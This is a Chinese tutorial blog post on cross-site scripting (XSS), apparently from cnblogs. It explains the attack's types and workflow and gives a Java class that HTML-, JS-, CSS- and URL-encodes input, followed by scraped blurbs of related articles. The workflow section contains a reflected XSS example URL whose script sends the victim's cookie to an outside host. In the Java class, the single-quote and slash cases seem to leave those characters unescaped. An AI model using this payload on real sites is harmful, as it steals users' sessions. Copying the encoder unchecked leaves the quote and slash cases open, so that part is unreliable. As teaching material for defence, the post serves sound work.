跨站脚本攻击(XSS)

一、跨站脚本攻击的原理

1.XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

2.跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

3.跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

4.XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

二、XSS工作流程

1.恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script

2.恶意提交这个表单

3.其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

四、那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

import java.net.URLEncoder;

/**
 * 过滤非法字符工具类
 *
 */
public class EncodeFilter {

    //过滤大部分html字符
    public static String encode(String input) {
        if (input == null) {
            return input;
        }
        StringBuilder sb = new StringBuilder(input.length());
        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);
            switch (ch) {
                case ‘&‘: sb.append("&amp;");
                    break;
                case ‘<‘: sb.append("&lt;");
                    break;
                case ‘>‘: sb.append("&gt;");
                    break;
                case ‘"‘: sb.append("&quot;");
                    break;
                case ‘\‘‘: sb.append("'");
                    break;
                case ‘/‘: sb.append("/");
                    break;
                default: sb.append(ch);
            }
        }
        return sb.toString();
    }

    //js端过滤
    public static String encodeForJS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // do not encode alphanumeric characters and ‘,‘ ‘.‘ ‘_‘
            if (ch >= ‘a‘ && ch <= ‘z‘ || ch >= ‘A‘ && ch <= ‘Z‘ ||
                    ch >= ‘0‘ && ch <= ‘9‘ ||
                    ch == ‘,‘ || ch == ‘.‘ || ch == ‘_‘) {
                sb.append(ch);
            } else {
                String temp = Integer.toHexString(ch);

                // encode up to 256 with \\xHH
                if (ch < 256) {
                    sb.append(‘\\‘).append(‘x‘);
                    if (temp.length() == 1) {
                        sb.append(‘0‘);
                    }
                    sb.append(temp.toLowerCase());

                // otherwise encode with \\uHHHH
                } else {
                    sb.append(‘\\‘).append(‘u‘);
                    for (int j = 0, d = 4 - temp.length(); j < d; j ++) {
                        sb.append(‘0‘);
                    }
                    sb.append(temp.toUpperCase());
                }
            }
        }

        return sb.toString();
    }

    /**
     * css非法字符过滤
     * http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
    */
    public static String encodeForCSS(String input) {
        if (input == null) {
            return input;
        }

        StringBuilder sb = new StringBuilder(input.length());

        for (int i = 0, c = input.length(); i < c; i++) {
            char ch = input.charAt(i);

            // check for alphanumeric characters
            if (ch >= ‘a‘ && ch <= ‘z‘ || ch >= ‘A‘ && ch <= ‘Z‘ ||
                    ch >= ‘0‘ && ch <= ‘9‘) {
                sb.append(ch);
            } else {
                // return the hex and end in whitespace to terminate
                sb.append(‘\\‘).append(Integer.toHexString(ch)).append(‘ ‘);
            }
        }
        return sb.toString();
    }

    /**
     * URL参数编码
     * http://en.wikipedia.org/wiki/Percent-encoding
     */
    public static String encodeURIComponent(String input) {
        return encodeURIComponent(input, "utf-8");
    }

    public static String encodeURIComponent(String input, String encoding) {
        if (input == null) {
            return input;
        }
        String result;
        try {
            result = URLEncoder.encode(input, encoding);
        } catch (Exception e) {
            result = "";
        }
        return result;
    }

    public static boolean isValidURL(String input) {
        if (input == null || input.length() < 8) {
            return false;
        }
        char ch0 = input.charAt(0);
        if (ch0 == ‘h‘) {
            if (input.charAt(1) == ‘t‘ &&
                input.charAt(2) == ‘t‘ &&
                input.charAt(3) == ‘p‘) {
                char ch4 = input.charAt(4);
                if (ch4 == ‘:‘) {
                    if (input.charAt(5) == ‘/‘ &&
                        input.charAt(6) == ‘/‘) {

                        return isValidURLChar(input, 7);
                    } else {
                        return false;
                    }
                } else if (ch4 == ‘s‘) {
                    if (input.charAt(5) == ‘:‘ &&
                        input.charAt(6) == ‘/‘ &&
                        input.charAt(7) == ‘/‘) {

                        return isValidURLChar(input, 8);
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                return false;
            }

        } else if (ch0 == ‘f‘) {
            if( input.charAt(1) == ‘t‘ &&
                input.charAt(2) == ‘p‘ &&
                input.charAt(3) == ‘:‘ &&
                input.charAt(4) == ‘/‘ &&
                input.charAt(5) == ‘/‘) {

                return isValidURLChar(input, 6);
            } else {
                return false;
            }
        }
        return false;
    }

    static boolean isValidURLChar(String url, int start) {
        for (int i = start, c = url.length(); i < c; i ++) {
            char ch = url.charAt(i);
            if (ch == ‘"‘ || ch == ‘\‘‘) {
                return false;
            }
        }
        return true;
    }

}

原网址:http://www.cnblogs.com/ITtangtang/p/3982297.html

时间: 2024-10-08 15:33:11

跨站脚本攻击(XSS)的相关文章

跨站脚本攻击XSS(二)——session劫持

转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务

[Web安全之实战] 跨站脚本攻击XSS

Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points:   1. 认识XSS 2. XSS攻击 3. XSS防御(重点) 一.认识XSS先 先说个故事吧,在上一篇,我还想说这个案例.其实什么叫攻击,很简单.获取攻击者想要的信息,就黑成功了.抓到一个Tomcat漏洞(这不是我说的,一个认识的人说的),上传一个JSP,里面模拟HttpClient,下载一个木马,运行.OK,搞定了.所

跨站脚本攻击XSS

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的. 一个简单的留言板 我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表 <!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?>&

java防范跨站脚本攻击(XSS)

网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加filter对数据参数进行处理. 1.在github上下载lucy-xss-servlet-filter:https://github.com/naver/lucy-xss-servlet-filter 2.打开项目lucy-xss-servlet-filter,将下载代码输出为jar包. 项目输出为j

跨站脚本攻击xss学习

0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: 然后发现浏览器页面的提供会变成这样: 此时如果提交下面的URL: 会发现alert被执行了 1.跨站脚本分类 跨站脚本攻击分为3类,反射型.存储型和DOM Based XSS. 1.反射型xss.浏览器执行一个不可信的脚本,并获得服务器的响应.通常黑客需要引诱用户点击恶意链接来进行触发. 2.存储

网络安全-跨站脚本攻击XSS(Cross-Site Scripting)

一.XSS攻击简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的. 在XSS攻击中,一般有三个角色参与:攻击者.目标服务器.受害者的浏览器. 由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码.当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍.而此时,攻击者的目的就已经达到了. 下面我们

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

XSS:跨站脚本攻击

XSS:跨站脚本,是攻击者向目标web站点注入html标签或者脚本,如果web页面动态的产生文档内容,并且这些内容是基于用户提交的数据,而并没有通过从中移除任何嵌入的html标签来消毒的话,那这个web页面很容易遭到跨站脚本攻击. 例如,如下的web页面,它使用js通过用户的名字来向用户问好: <html> <head><title>test</title></head> <body> <script type="te

Magicodes.WeiChat——使用AntiXssAttribute阻止XSS(跨站脚本攻击)攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的. 很多时候,我们并不需要屏蔽所有的HTML标签,或者,我们需要设置某些属性支持的HTML标签字符串.还好,框架中封装了相关的特性,以便你直接拿来使用. 命名空间:Magicode